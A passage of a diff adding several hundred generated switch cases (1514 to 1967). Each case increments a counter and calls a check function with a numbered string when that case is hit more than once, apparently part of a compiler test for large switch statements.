+ case 1514: if (n[1514]++ > 0) check ('a string 1514'); break;
+ case 1515: if (n[1515]++ > 0) check ('a string 1515'); break;
+ case 1516: if (n[1516]++ > 0) check ('a string 1516'); break;
+ case 1517: if (n[1517]++ > 0) check ('a string 1517'); break;
+ case 1518: if (n[1518]++ > 0) check ('a string 1518'); break;
+ case 1519: if (n[1519]++ > 0) check ('a string 1519'); break;
+ case 1520: if (n[1520]++ > 0) check ('a string 1520'); break;
+ case 1521: if (n[1521]++ > 0) check ('a string 1521'); break;
+ case 1522: if (n[1522]++ > 0) check ('a string 1522'); break;
+ case 1523: if (n[1523]++ > 0) check ('a string 1523'); break;
+ case 1524: if (n[1524]++ > 0) check ('a string 1524'); break;
+ case 1525: if (n[1525]++ > 0) check ('a string 1525'); break;
+ case 1526: if (n[1526]++ > 0) check ('a string 1526'); break;
+ case 1527: if (n[1527]++ > 0) check ('a string 1527'); break;
+ case 1528: if (n[1528]++ > 0) check ('a string 1528'); break;
+ case 1529: if (n[1529]++ > 0) check ('a string 1529'); break;
+ case 1530: if (n[1530]++ > 0) check ('a string 1530'); break;
+ case 1531: if (n[1531]++ > 0) check ('a string 1531'); break;
+ case 1532: if (n[1532]++ > 0) check ('a string 1532'); break;
+ case 1533: if (n[1533]++ > 0) check ('a string 1533'); break;
+ case 1534: if (n[1534]++ > 0) check ('a string 1534'); break;
+ case 1535: if (n[1535]++ > 0) check ('a string 1535'); break;
+ case 1536: if (n[1536]++ > 0) check ('a string 1536'); break;
+ case 1537: if (n[1537]++ > 0) check ('a string 1537'); break;
+ case 1538: if (n[1538]++ > 0) check ('a string 1538'); break;
+ case 1539: if (n[1539]++ > 0) check ('a string 1539'); break;
+ case 1540: if (n[1540]++ > 0) check ('a string 1540'); break;
+ case 1541: if (n[1541]++ > 0) check ('a string 1541'); break;
+ case 1542: if (n[1542]++ > 0) check ('a string 1542'); break;
+ case 1543: if (n[1543]++ > 0) check ('a string 1543'); break;
+ case 1544: if (n[1544]++ > 0) check ('a string 1544'); break;
+ case 1545: if (n[1545]++ > 0) check ('a string 1545'); break;
+ case 1546: if (n[1546]++ > 0) check ('a string 1546'); break;
+ case 1547: if (n[1547]++ > 0) check ('a string 1547'); break;
+ case 1548: if (n[1548]++ > 0) check ('a string 1548'); break;
+ case 1549: if (n[1549]++ > 0) check ('a string 1549'); break;
+ case 1550: if (n[1550]++ > 0) check ('a string 1550'); break;
+ case 1551: if (n[1551]++ > 0) check ('a string 1551'); break;
+ case 1552: if (n[1552]++ > 0) check ('a string 1552'); break;
+ case 1553: if (n[1553]++ > 0) check ('a string 1553'); break;
+ case 1554: if (n[1554]++ > 0) check ('a string 1554'); break;
+ case 1555: if (n[1555]++ > 0) check ('a string 1555'); break;
+ case 1556: if (n[1556]++ > 0) check ('a string 1556'); break;
+ case 1557: if (n[1557]++ > 0) check ('a string 1557'); break;
+ case 1558: if (n[1558]++ > 0) check ('a string 1558'); break;
+ case 1559: if (n[1559]++ > 0) check ('a string 1559'); break;
+ case 1560: if (n[1560]++ > 0) check ('a string 1560'); break;
+ case 1561: if (n[1561]++ > 0) check ('a string 1561'); break;
+ case 1562: if (n[1562]++ > 0) check ('a string 1562'); break;
+ case 1563: if (n[1563]++ > 0) check ('a string 1563'); break;
+ case 1564: if (n[1564]++ > 0) check ('a string 1564'); break;
+ case 1565: if (n[1565]++ > 0) check ('a string 1565'); break;
+ case 1566: if (n[1566]++ > 0) check ('a string 1566'); break;
+ case 1567: if (n[1567]++ > 0) check ('a string 1567'); break;
+ case 1568: if (n[1568]++ > 0) check ('a string 1568'); break;
+ case 1569: if (n[1569]++ > 0) check ('a string 1569'); break;
+ case 1570: if (n[1570]++ > 0) check ('a string 1570'); break;
+ case 1571: if (n[1571]++ > 0) check ('a string 1571'); break;
+ case 1572: if (n[1572]++ > 0) check ('a string 1572'); break;
+ case 1573: if (n[1573]++ > 0) check ('a string 1573'); break;
+ case 1574: if (n[1574]++ > 0) check ('a string 1574'); break;
+ case 1575: if (n[1575]++ > 0) check ('a string 1575'); break;
+ case 1576: if (n[1576]++ > 0) check ('a string 1576'); break;
+ case 1577: if (n[1577]++ > 0) check ('a string 1577'); break;
+ case 1578: if (n[1578]++ > 0) check ('a string 1578'); break;
+ case 1579: if (n[1579]++ > 0) check ('a string 1579'); break;
+ case 1580: if (n[1580]++ > 0) check ('a string 1580'); break;
+ case 1581: if (n[1581]++ > 0) check ('a string 1581'); break;
+ case 1582: if (n[1582]++ > 0) check ('a string 1582'); break;
+ case 1583: if (n[1583]++ > 0) check ('a string 1583'); break;
+ case 1584: if (n[1584]++ > 0) check ('a string 1584'); break;
+ case 1585: if (n[1585]++ > 0) check ('a string 1585'); break;
+ case 1586: if (n[1586]++ > 0) check ('a string 1586'); break;
+ case 1587: if (n[1587]++ > 0) check ('a string 1587'); break;
+ case 1588: if (n[1588]++ > 0) check ('a string 1588'); break;
+ case 1589: if (n[1589]++ > 0) check ('a string 1589'); break;
+ case 1590: if (n[1590]++ > 0) check ('a string 1590'); break;
+ case 1591: if (n[1591]++ > 0) check ('a string 1591'); break;
+ case 1592: if (n[1592]++ > 0) check ('a string 1592'); break;
+ case 1593: if (n[1593]++ > 0) check ('a string 1593'); break;
+ case 1594: if (n[1594]++ > 0) check ('a string 1594'); break;
+ case 1595: if (n[1595]++ > 0) check ('a string 1595'); break;
+ case 1596: if (n[1596]++ > 0) check ('a string 1596'); break;
+ case 1597: if (n[1597]++ > 0) check ('a string 1597'); break;
+ case 1598: if (n[1598]++ > 0) check ('a string 1598'); break;
+ case 1599: if (n[1599]++ > 0) check ('a string 1599'); break;
+ case 1600: if (n[1600]++ > 0) check ('a string 1600'); break;
+ case 1601: if (n[1601]++ > 0) check ('a string 1601'); break;
+ case 1602: if (n[1602]++ > 0) check ('a string 1602'); break;
+ case 1603: if (n[1603]++ > 0) check ('a string 1603'); break;
+ case 1604: if (n[1604]++ > 0) check ('a string 1604'); break;
+ case 1605: if (n[1605]++ > 0) check ('a string 1605'); break;
+ case 1606: if (n[1606]++ > 0) check ('a string 1606'); break;
+ case 1607: if (n[1607]++ > 0) check ('a string 1607'); break;
+ case 1608: if (n[1608]++ > 0) check ('a string 1608'); break;
+ case 1609: if (n[1609]++ > 0) check ('a string 1609'); break;
+ case 1610: if (n[1610]++ > 0) check ('a string 1610'); break;
+ case 1611: if (n[1611]++ > 0) check ('a string 1611'); break;
+ case 1612: if (n[1612]++ > 0) check ('a string 1612'); break;
+ case 1613: if (n[1613]++ > 0) check ('a string 1613'); break;
+ case 1614: if (n[1614]++ > 0) check ('a string 1614'); break;
+ case 1615: if (n[1615]++ > 0) check ('a string 1615'); break;
+ case 1616: if (n[1616]++ > 0) check ('a string 1616'); break;
+ case 1617: if (n[1617]++ > 0) check ('a string 1617'); break;
+ case 1618: if (n[1618]++ > 0) check ('a string 1618'); break;
+ case 1619: if (n[1619]++ > 0) check ('a string 1619'); break;
+ case 1620: if (n[1620]++ > 0) check ('a string 1620'); break;
+ case 1621: if (n[1621]++ > 0) check ('a string 1621'); break;
+ case 1622: if (n[1622]++ > 0) check ('a string 1622'); break;
+ case 1623: if (n[1623]++ > 0) check ('a string 1623'); break;
+ case 1624: if (n[1624]++ > 0) check ('a string 1624'); break;
+ case 1625: if (n[1625]++ > 0) check ('a string 1625'); break;
+ case 1626: if (n[1626]++ > 0) check ('a string 1626'); break;
+ case 1627: if (n[1627]++ > 0) check ('a string 1627'); break;
+ case 1628: if (n[1628]++ > 0) check ('a string 1628'); break;
+ case 1629: if (n[1629]++ > 0) check ('a string 1629'); break;
+ case 1630: if (n[1630]++ > 0) check ('a string 1630'); break;
+ case 1631: if (n[1631]++ > 0) check ('a string 1631'); break;
+ case 1632: if (n[1632]++ > 0) check ('a string 1632'); break;
+ case 1633: if (n[1633]++ > 0) check ('a string 1633'); break;
+ case 1634: if (n[1634]++ > 0) check ('a string 1634'); break;
+ case 1635: if (n[1635]++ > 0) check ('a string 1635'); break;
+ case 1636: if (n[1636]++ > 0) check ('a string 1636'); break;
+ case 1637: if (n[1637]++ > 0) check ('a string 1637'); break;
+ case 1638: if (n[1638]++ > 0) check ('a string 1638'); break;
+ case 1639: if (n[1639]++ > 0) check ('a string 1639'); break;
+ case 1640: if (n[1640]++ > 0) check ('a string 1640'); break;
+ case 1641: if (n[1641]++ > 0) check ('a string 1641'); break;
+ case 1642: if (n[1642]++ > 0) check ('a string 1642'); break;
+ case 1643: if (n[1643]++ > 0) check ('a string 1643'); break;
+ case 1644: if (n[1644]++ > 0) check ('a string 1644'); break;
+ case 1645: if (n[1645]++ > 0) check ('a string 1645'); break;
+ case 1646: if (n[1646]++ > 0) check ('a string 1646'); break;
+ case 1647: if (n[1647]++ > 0) check ('a string 1647'); break;
+ case 1648: if (n[1648]++ > 0) check ('a string 1648'); break;
+ case 1649: if (n[1649]++ > 0) check ('a string 1649'); break;
+ case 1650: if (n[1650]++ > 0) check ('a string 1650'); break;
+ case 1651: if (n[1651]++ > 0) check ('a string 1651'); break;
+ case 1652: if (n[1652]++ > 0) check ('a string 1652'); break;
+ case 1653: if (n[1653]++ > 0) check ('a string 1653'); break;
+ case 1654: if (n[1654]++ > 0) check ('a string 1654'); break;
+ case 1655: if (n[1655]++ > 0) check ('a string 1655'); break;
+ case 1656: if (n[1656]++ > 0) check ('a string 1656'); break;
+ case 1657: if (n[1657]++ > 0) check ('a string 1657'); break;
+ case 1658: if (n[1658]++ > 0) check ('a string 1658'); break;
+ case 1659: if (n[1659]++ > 0) check ('a string 1659'); break;
+ case 1660: if (n[1660]++ > 0) check ('a string 1660'); break;
+ case 1661: if (n[1661]++ > 0) check ('a string 1661'); break;
+ case 1662: if (n[1662]++ > 0) check ('a string 1662'); break;
+ case 1663: if (n[1663]++ > 0) check ('a string 1663'); break;
+ case 1664: if (n[1664]++ > 0) check ('a string 1664'); break;
+ case 1665: if (n[1665]++ > 0) check ('a string 1665'); break;
+ case 1666: if (n[1666]++ > 0) check ('a string 1666'); break;
+ case 1667: if (n[1667]++ > 0) check ('a string 1667'); break;
+ case 1668: if (n[1668]++ > 0) check ('a string 1668'); break;
+ case 1669: if (n[1669]++ > 0) check ('a string 1669'); break;
+ case 1670: if (n[1670]++ > 0) check ('a string 1670'); break;
+ case 1671: if (n[1671]++ > 0) check ('a string 1671'); break;
+ case 1672: if (n[1672]++ > 0) check ('a string 1672'); break;
+ case 1673: if (n[1673]++ > 0) check ('a string 1673'); break;
+ case 1674: if (n[1674]++ > 0) check ('a string 1674'); break;
+ case 1675: if (n[1675]++ > 0) check ('a string 1675'); break;
+ case 1676: if (n[1676]++ > 0) check ('a string 1676'); break;
+ case 1677: if (n[1677]++ > 0) check ('a string 1677'); break;
+ case 1678: if (n[1678]++ > 0) check ('a string 1678'); break;
+ case 1679: if (n[1679]++ > 0) check ('a string 1679'); break;
+ case 1680: if (n[1680]++ > 0) check ('a string 1680'); break;
+ case 1681: if (n[1681]++ > 0) check ('a string 1681'); break;
+ case 1682: if (n[1682]++ > 0) check ('a string 1682'); break;
+ case 1683: if (n[1683]++ > 0) check ('a string 1683'); break;
+ case 1684: if (n[1684]++ > 0) check ('a string 1684'); break;
+ case 1685: if (n[1685]++ > 0) check ('a string 1685'); break;
+ case 1686: if (n[1686]++ > 0) check ('a string 1686'); break;
+ case 1687: if (n[1687]++ > 0) check ('a string 1687'); break;
+ case 1688: if (n[1688]++ > 0) check ('a string 1688'); break;
+ case 1689: if (n[1689]++ > 0) check ('a string 1689'); break;
+ case 1690: if (n[1690]++ > 0) check ('a string 1690'); break;
+ case 1691: if (n[1691]++ > 0) check ('a string 1691'); break;
+ case 1692: if (n[1692]++ > 0) check ('a string 1692'); break;
+ case 1693: if (n[1693]++ > 0) check ('a string 1693'); break;
+ case 1694: if (n[1694]++ > 0) check ('a string 1694'); break;
+ case 1695: if (n[1695]++ > 0) check ('a string 1695'); break;
+ case 1696: if (n[1696]++ > 0) check ('a string 1696'); break;
+ case 1697: if (n[1697]++ > 0) check ('a string 1697'); break;
+ case 1698: if (n[1698]++ > 0) check ('a string 1698'); break;
+ case 1699: if (n[1699]++ > 0) check ('a string 1699'); break;
+ case 1700: if (n[1700]++ > 0) check ('a string 1700'); break;
+ case 1701: if (n[1701]++ > 0) check ('a string 1701'); break;
+ case 1702: if (n[1702]++ > 0) check ('a string 1702'); break;
+ case 1703: if (n[1703]++ > 0) check ('a string 1703'); break;
+ case 1704: if (n[1704]++ > 0) check ('a string 1704'); break;
+ case 1705: if (n[1705]++ > 0) check ('a string 1705'); break;
+ case 1706: if (n[1706]++ > 0) check ('a string 1706'); break;
+ case 1707: if (n[1707]++ > 0) check ('a string 1707'); break;
+ case 1708: if (n[1708]++ > 0) check ('a string 1708'); break;
+ case 1709: if (n[1709]++ > 0) check ('a string 1709'); break;
+ case 1710: if (n[1710]++ > 0) check ('a string 1710'); break;
+ case 1711: if (n[1711]++ > 0) check ('a string 1711'); break;
+ case 1712: if (n[1712]++ > 0) check ('a string 1712'); break;
+ case 1713: if (n[1713]++ > 0) check ('a string 1713'); break;
+ case 1714: if (n[1714]++ > 0) check ('a string 1714'); break;
+ case 1715: if (n[1715]++ > 0) check ('a string 1715'); break;
+ case 1716: if (n[1716]++ > 0) check ('a string 1716'); break;
+ case 1717: if (n[1717]++ > 0) check ('a string 1717'); break;
+ case 1718: if (n[1718]++ > 0) check ('a string 1718'); break;
+ case 1719: if (n[1719]++ > 0) check ('a string 1719'); break;
+ case 1720: if (n[1720]++ > 0) check ('a string 1720'); break;
+ case 1721: if (n[1721]++ > 0) check ('a string 1721'); break;
+ case 1722: if (n[1722]++ > 0) check ('a string 1722'); break;
+ case 1723: if (n[1723]++ > 0) check ('a string 1723'); break;
+ case 1724: if (n[1724]++ > 0) check ('a string 1724'); break;
+ case 1725: if (n[1725]++ > 0) check ('a string 1725'); break;
+ case 1726: if (n[1726]++ > 0) check ('a string 1726'); break;
+ case 1727: if (n[1727]++ > 0) check ('a string 1727'); break;
+ case 1728: if (n[1728]++ > 0) check ('a string 1728'); break;
+ case 1729: if (n[1729]++ > 0) check ('a string 1729'); break;
+ case 1730: if (n[1730]++ > 0) check ('a string 1730'); break;
+ case 1731: if (n[1731]++ > 0) check ('a string 1731'); break;
+ case 1732: if (n[1732]++ > 0) check ('a string 1732'); break;
+ case 1733: if (n[1733]++ > 0) check ('a string 1733'); break;
+ case 1734: if (n[1734]++ > 0) check ('a string 1734'); break;
+ case 1735: if (n[1735]++ > 0) check ('a string 1735'); break;
+ case 1736: if (n[1736]++ > 0) check ('a string 1736'); break;
+ case 1737: if (n[1737]++ > 0) check ('a string 1737'); break;
+ case 1738: if (n[1738]++ > 0) check ('a string 1738'); break;
+ case 1739: if (n[1739]++ > 0) check ('a string 1739'); break;
+ case 1740: if (n[1740]++ > 0) check ('a string 1740'); break;
+ case 1741: if (n[1741]++ > 0) check ('a string 1741'); break;
+ case 1742: if (n[1742]++ > 0) check ('a string 1742'); break;
+ case 1743: if (n[1743]++ > 0) check ('a string 1743'); break;
+ case 1744: if (n[1744]++ > 0) check ('a string 1744'); break;
+ case 1745: if (n[1745]++ > 0) check ('a string 1745'); break;
+ case 1746: if (n[1746]++ > 0) check ('a string 1746'); break;
+ case 1747: if (n[1747]++ > 0) check ('a string 1747'); break;
+ case 1748: if (n[1748]++ > 0) check ('a string 1748'); break;
+ case 1749: if (n[1749]++ > 0) check ('a string 1749'); break;
+ case 1750: if (n[1750]++ > 0) check ('a string 1750'); break;
+ case 1751: if (n[1751]++ > 0) check ('a string 1751'); break;
+ case 1752: if (n[1752]++ > 0) check ('a string 1752'); break;
+ case 1753: if (n[1753]++ > 0) check ('a string 1753'); break;
+ case 1754: if (n[1754]++ > 0) check ('a string 1754'); break;
+ case 1755: if (n[1755]++ > 0) check ('a string 1755'); break;
+ case 1756: if (n[1756]++ > 0) check ('a string 1756'); break;
+ case 1757: if (n[1757]++ > 0) check ('a string 1757'); break;
+ case 1758: if (n[1758]++ > 0) check ('a string 1758'); break;
+ case 1759: if (n[1759]++ > 0) check ('a string 1759'); break;
+ case 1760: if (n[1760]++ > 0) check ('a string 1760'); break;
+ case 1761: if (n[1761]++ > 0) check ('a string 1761'); break;
+ case 1762: if (n[1762]++ > 0) check ('a string 1762'); break;
+ case 1763: if (n[1763]++ > 0) check ('a string 1763'); break;
+ case 1764: if (n[1764]++ > 0) check ('a string 1764'); break;
+ case 1765: if (n[1765]++ > 0) check ('a string 1765'); break;
+ case 1766: if (n[1766]++ > 0) check ('a string 1766'); break;
+ case 1767: if (n[1767]++ > 0) check ('a string 1767'); break;
+ case 1768: if (n[1768]++ > 0) check ('a string 1768'); break;
+ case 1769: if (n[1769]++ > 0) check ('a string 1769'); break;
+ case 1770: if (n[1770]++ > 0) check ('a string 1770'); break;
+ case 1771: if (n[1771]++ > 0) check ('a string 1771'); break;
+ case 1772: if (n[1772]++ > 0) check ('a string 1772'); break;
+ case 1773: if (n[1773]++ > 0) check ('a string 1773'); break;
+ case 1774: if (n[1774]++ > 0) check ('a string 1774'); break;
+ case 1775: if (n[1775]++ > 0) check ('a string 1775'); break;
+ case 1776: if (n[1776]++ > 0) check ('a string 1776'); break;
+ case 1777: if (n[1777]++ > 0) check ('a string 1777'); break;
+ case 1778: if (n[1778]++ > 0) check ('a string 1778'); break;
+ case 1779: if (n[1779]++ > 0) check ('a string 1779'); break;
+ case 1780: if (n[1780]++ > 0) check ('a string 1780'); break;
+ case 1781: if (n[1781]++ > 0) check ('a string 1781'); break;
+ case 1782: if (n[1782]++ > 0) check ('a string 1782'); break;
+ case 1783: if (n[1783]++ > 0) check ('a string 1783'); break;
+ case 1784: if (n[1784]++ > 0) check ('a string 1784'); break;
+ case 1785: if (n[1785]++ > 0) check ('a string 1785'); break;
+ case 1786: if (n[1786]++ > 0) check ('a string 1786'); break;
+ case 1787: if (n[1787]++ > 0) check ('a string 1787'); break;
+ case 1788: if (n[1788]++ > 0) check ('a string 1788'); break;
+ case 1789: if (n[1789]++ > 0) check ('a string 1789'); break;
+ case 1790: if (n[1790]++ > 0) check ('a string 1790'); break;
+ case 1791: if (n[1791]++ > 0) check ('a string 1791'); break;
+ case 1792: if (n[1792]++ > 0) check ('a string 1792'); break;
+ case 1793: if (n[1793]++ > 0) check ('a string 1793'); break;
+ case 1794: if (n[1794]++ > 0) check ('a string 1794'); break;
+ case 1795: if (n[1795]++ > 0) check ('a string 1795'); break;
+ case 1796: if (n[1796]++ > 0) check ('a string 1796'); break;
+ case 1797: if (n[1797]++ > 0) check ('a string 1797'); break;
+ case 1798: if (n[1798]++ > 0) check ('a string 1798'); break;
+ case 1799: if (n[1799]++ > 0) check ('a string 1799'); break;
+ case 1800: if (n[1800]++ > 0) check ('a string 1800'); break;
+ case 1801: if (n[1801]++ > 0) check ('a string 1801'); break;
+ case 1802: if (n[1802]++ > 0) check ('a string 1802'); break;
+ case 1803: if (n[1803]++ > 0) check ('a string 1803'); break;
+ case 1804: if (n[1804]++ > 0) check ('a string 1804'); break;
+ case 1805: if (n[1805]++ > 0) check ('a string 1805'); break;
+ case 1806: if (n[1806]++ > 0) check ('a string 1806'); break;
+ case 1807: if (n[1807]++ > 0) check ('a string 1807'); break;
+ case 1808: if (n[1808]++ > 0) check ('a string 1808'); break;
+ case 1809: if (n[1809]++ > 0) check ('a string 1809'); break;
+ case 1810: if (n[1810]++ > 0) check ('a string 1810'); break;
+ case 1811: if (n[1811]++ > 0) check ('a string 1811'); break;
+ case 1812: if (n[1812]++ > 0) check ('a string 1812'); break;
+ case 1813: if (n[1813]++ > 0) check ('a string 1813'); break;
+ case 1814: if (n[1814]++ > 0) check ('a string 1814'); break;
+ case 1815: if (n[1815]++ > 0) check ('a string 1815'); break;
+ case 1816: if (n[1816]++ > 0) check ('a string 1816'); break;
+ case 1817: if (n[1817]++ > 0) check ('a string 1817'); break;
+ case 1818: if (n[1818]++ > 0) check ('a string 1818'); break;
+ case 1819: if (n[1819]++ > 0) check ('a string 1819'); break;
+ case 1820: if (n[1820]++ > 0) check ('a string 1820'); break;
+ case 1821: if (n[1821]++ > 0) check ('a string 1821'); break;
+ case 1822: if (n[1822]++ > 0) check ('a string 1822'); break;
+ case 1823: if (n[1823]++ > 0) check ('a string 1823'); break;
+ case 1824: if (n[1824]++ > 0) check ('a string 1824'); break;
+ case 1825: if (n[1825]++ > 0) check ('a string 1825'); break;
+ case 1826: if (n[1826]++ > 0) check ('a string 1826'); break;
+ case 1827: if (n[1827]++ > 0) check ('a string 1827'); break;
+ case 1828: if (n[1828]++ > 0) check ('a string 1828'); break;
+ case 1829: if (n[1829]++ > 0) check ('a string 1829'); break;
+ case 1830: if (n[1830]++ > 0) check ('a string 1830'); break;
+ case 1831: if (n[1831]++ > 0) check ('a string 1831'); break;
+ case 1832: if (n[1832]++ > 0) check ('a string 1832'); break;
+ case 1833: if (n[1833]++ > 0) check ('a string 1833'); break;
+ case 1834: if (n[1834]++ > 0) check ('a string 1834'); break;
+ case 1835: if (n[1835]++ > 0) check ('a string 1835'); break;
+ case 1836: if (n[1836]++ > 0) check ('a string 1836'); break;
+ case 1837: if (n[1837]++ > 0) check ('a string 1837'); break;
+ case 1838: if (n[1838]++ > 0) check ('a string 1838'); break;
+ case 1839: if (n[1839]++ > 0) check ('a string 1839'); break;
+ case 1840: if (n[1840]++ > 0) check ('a string 1840'); break;
+ case 1841: if (n[1841]++ > 0) check ('a string 1841'); break;
+ case 1842: if (n[1842]++ > 0) check ('a string 1842'); break;
+ case 1843: if (n[1843]++ > 0) check ('a string 1843'); break;
+ case 1844: if (n[1844]++ > 0) check ('a string 1844'); break;
+ case 1845: if (n[1845]++ > 0) check ('a string 1845'); break;
+ case 1846: if (n[1846]++ > 0) check ('a string 1846'); break;
+ case 1847: if (n[1847]++ > 0) check ('a string 1847'); break;
+ case 1848: if (n[1848]++ > 0) check ('a string 1848'); break;
+ case 1849: if (n[1849]++ > 0) check ('a string 1849'); break;
+ case 1850: if (n[1850]++ > 0) check ('a string 1850'); break;
+ case 1851: if (n[1851]++ > 0) check ('a string 1851'); break;
+ case 1852: if (n[1852]++ > 0) check ('a string 1852'); break;
+ case 1853: if (n[1853]++ > 0) check ('a string 1853'); break;
+ case 1854: if (n[1854]++ > 0) check ('a string 1854'); break;
+ case 1855: if (n[1855]++ > 0) check ('a string 1855'); break;
+ case 1856: if (n[1856]++ > 0) check ('a string 1856'); break;
+ case 1857: if (n[1857]++ > 0) check ('a string 1857'); break;
+ case 1858: if (n[1858]++ > 0) check ('a string 1858'); break;
+ case 1859: if (n[1859]++ > 0) check ('a string 1859'); break;
+ case 1860: if (n[1860]++ > 0) check ('a string 1860'); break;
+ case 1861: if (n[1861]++ > 0) check ('a string 1861'); break;
+ case 1862: if (n[1862]++ > 0) check ('a string 1862'); break;
+ case 1863: if (n[1863]++ > 0) check ('a string 1863'); break;
+ case 1864: if (n[1864]++ > 0) check ('a string 1864'); break;
+ case 1865: if (n[1865]++ > 0) check ('a string 1865'); break;
+ case 1866: if (n[1866]++ > 0) check ('a string 1866'); break;
+ case 1867: if (n[1867]++ > 0) check ('a string 1867'); break;
+ case 1868: if (n[1868]++ > 0) check ('a string 1868'); break;
+ case 1869: if (n[1869]++ > 0) check ('a string 1869'); break;
+ case 1870: if (n[1870]++ > 0) check ('a string 1870'); break;
+ case 1871: if (n[1871]++ > 0) check ('a string 1871'); break;
+ case 1872: if (n[1872]++ > 0) check ('a string 1872'); break;
+ case 1873: if (n[1873]++ > 0) check ('a string 1873'); break;
+ case 1874: if (n[1874]++ > 0) check ('a string 1874'); break;
+ case 1875: if (n[1875]++ > 0) check ('a string 1875'); break;
+ case 1876: if (n[1876]++ > 0) check ('a string 1876'); break;
+ case 1877: if (n[1877]++ > 0) check ('a string 1877'); break;
+ case 1878: if (n[1878]++ > 0) check ('a string 1878'); break;
+ case 1879: if (n[1879]++ > 0) check ('a string 1879'); break;
+ case 1880: if (n[1880]++ > 0) check ('a string 1880'); break;
+ case 1881: if (n[1881]++ > 0) check ('a string 1881'); break;
+ case 1882: if (n[1882]++ > 0) check ('a string 1882'); break;
+ case 1883: if (n[1883]++ > 0) check ('a string 1883'); break;
+ case 1884: if (n[1884]++ > 0) check ('a string 1884'); break;
+ case 1885: if (n[1885]++ > 0) check ('a string 1885'); break;
+ case 1886: if (n[1886]++ > 0) check ('a string 1886'); break;
+ case 1887: if (n[1887]++ > 0) check ('a string 1887'); break;
+ case 1888: if (n[1888]++ > 0) check ('a string 1888'); break;
+ case 1889: if (n[1889]++ > 0) check ('a string 1889'); break;
+ case 1890: if (n[1890]++ > 0) check ('a string 1890'); break;
+ case 1891: if (n[1891]++ > 0) check ('a string 1891'); break;
+ case 1892: if (n[1892]++ > 0) check ('a string 1892'); break;
+ case 1893: if (n[1893]++ > 0) check ('a string 1893'); break;
+ case 1894: if (n[1894]++ > 0) check ('a string 1894'); break;
+ case 1895: if (n[1895]++ > 0) check ('a string 1895'); break;
+ case 1896: if (n[1896]++ > 0) check ('a string 1896'); break;
+ case 1897: if (n[1897]++ > 0) check ('a string 1897'); break;
+ case 1898: if (n[1898]++ > 0) check ('a string 1898'); break;
+ case 1899: if (n[1899]++ > 0) check ('a string 1899'); break;
+ case 1900: if (n[1900]++ > 0) check ('a string 1900'); break;
+ case 1901: if (n[1901]++ > 0) check ('a string 1901'); break;
+ case 1902: if (n[1902]++ > 0) check ('a string 1902'); break;
+ case 1903: if (n[1903]++ > 0) check ('a string 1903'); break;
+ case 1904: if (n[1904]++ > 0) check ('a string 1904'); break;
+ case 1905: if (n[1905]++ > 0) check ('a string 1905'); break;
+ case 1906: if (n[1906]++ > 0) check ('a string 1906'); break;
+ case 1907: if (n[1907]++ > 0) check ('a string 1907'); break;
+ case 1908: if (n[1908]++ > 0) check ('a string 1908'); break;
+ case 1909: if (n[1909]++ > 0) check ('a string 1909'); break;
+ case 1910: if (n[1910]++ > 0) check ('a string 1910'); break;
+ case 1911: if (n[1911]++ > 0) check ('a string 1911'); break;
+ case 1912: if (n[1912]++ > 0) check ('a string 1912'); break;
+ case 1913: if (n[1913]++ > 0) check ('a string 1913'); break;
+ case 1914: if (n[1914]++ > 0) check ('a string 1914'); break;
+ case 1915: if (n[1915]++ > 0) check ('a string 1915'); break;
+ case 1916: if (n[1916]++ > 0) check ('a string 1916'); break;
+ case 1917: if (n[1917]++ > 0) check ('a string 1917'); break;
+ case 1918: if (n[1918]++ > 0) check ('a string 1918'); break;
+ case 1919: if (n[1919]++ > 0) check ('a string 1919'); break;
+ case 1920: if (n[1920]++ > 0) check ('a string 1920'); break;
+ case 1921: if (n[1921]++ > 0) check ('a string 1921'); break;
+ case 1922: if (n[1922]++ > 0) check ('a string 1922'); break;
+ case 1923: if (n[1923]++ > 0) check ('a string 1923'); break;
+ case 1924: if (n[1924]++ > 0) check ('a string 1924'); break;
+ case 1925: if (n[1925]++ > 0) check ('a string 1925'); break;
+ case 1926: if (n[1926]++ > 0) check ('a string 1926'); break;
+ case 1927: if (n[1927]++ > 0) check ('a string 1927'); break;
+ case 1928: if (n[1928]++ > 0) check ('a string 1928'); break;
+ case 1929: if (n[1929]++ > 0) check ('a string 1929'); break;
+ case 1930: if (n[1930]++ > 0) check ('a string 1930'); break;
+ case 1931: if (n[1931]++ > 0) check ('a string 1931'); break;
+ case 1932: if (n[1932]++ > 0) check ('a string 1932'); break;
+ case 1933: if (n[1933]++ > 0) check ('a string 1933'); break;
+ case 1934: if (n[1934]++ > 0) check ('a string 1934'); break;
+ case 1935: if (n[1935]++ > 0) check ('a string 1935'); break;
+ case 1936: if (n[1936]++ > 0) check ('a string 1936'); break;
+ case 1937: if (n[1937]++ > 0) check ('a string 1937'); break;
+ case 1938: if (n[1938]++ > 0) check ('a string 1938'); break;
+ case 1939: if (n[1939]++ > 0) check ('a string 1939'); break;
+ case 1940: if (n[1940]++ > 0) check ('a string 1940'); break;
+ case 1941: if (n[1941]++ > 0) check ('a string 1941'); break;
+ case 1942: if (n[1942]++ > 0) check ('a string 1942'); break;
+ case 1943: if (n[1943]++ > 0) check ('a string 1943'); break;
+ case 1944: if (n[1944]++ > 0) check ('a string 1944'); break;
+ case 1945: if (n[1945]++ > 0) check ('a string 1945'); break;
+ case 1946: if (n[1946]++ > 0) check ('a string 1946'); break;
+ case 1947: if (n[1947]++ > 0) check ('a string 1947'); break;
+ case 1948: if (n[1948]++ > 0) check ('a string 1948'); break;
+ case 1949: if (n[1949]++ > 0) check ('a string 1949'); break;
+ case 1950: if (n[1950]++ > 0) check ('a string 1950'); break;
+ case 1951: if (n[1951]++ > 0) check ('a string 1951'); break;
+ case 1952: if (n[1952]++ > 0) check ('a string 1952'); break;
+ case 1953: if (n[1953]++ > 0) check ('a string 1953'); break;
+ case 1954: if (n[1954]++ > 0) check ('a string 1954'); break;
+ case 1955: if (n[1955]++ > 0) check ('a string 1955'); break;
+ case 1956: if (n[1956]++ > 0) check ('a string 1956'); break;
+ case 1957: if (n[1957]++ > 0) check ('a string 1957'); break;
+ case 1958: if (n[1958]++ > 0) check ('a string 1958'); break;
+ case 1959: if (n[1959]++ > 0) check ('a string 1959'); break;
+ case 1960: if (n[1960]++ > 0) check ('a string 1960'); break;
+ case 1961: if (n[1961]++ > 0) check ('a string 1961'); break;
+ case 1962: if (n[1962]++ > 0) check ('a string 1962'); break;
+ case 1963: if (n[1963]++ > 0) check ('a string 1963'); break;
+ case 1964: if (n[1964]++ > 0) check ('a string 1964'); break;
+ case 1965: if (n[1965]++ > 0) check ('a string 1965'); break;
+ case 1966: if (n[1966]++ > 0) check ('a string 1966'); break;
+ case 1967: if (n[1967]++ > 0) check ('a string 1967'); break;
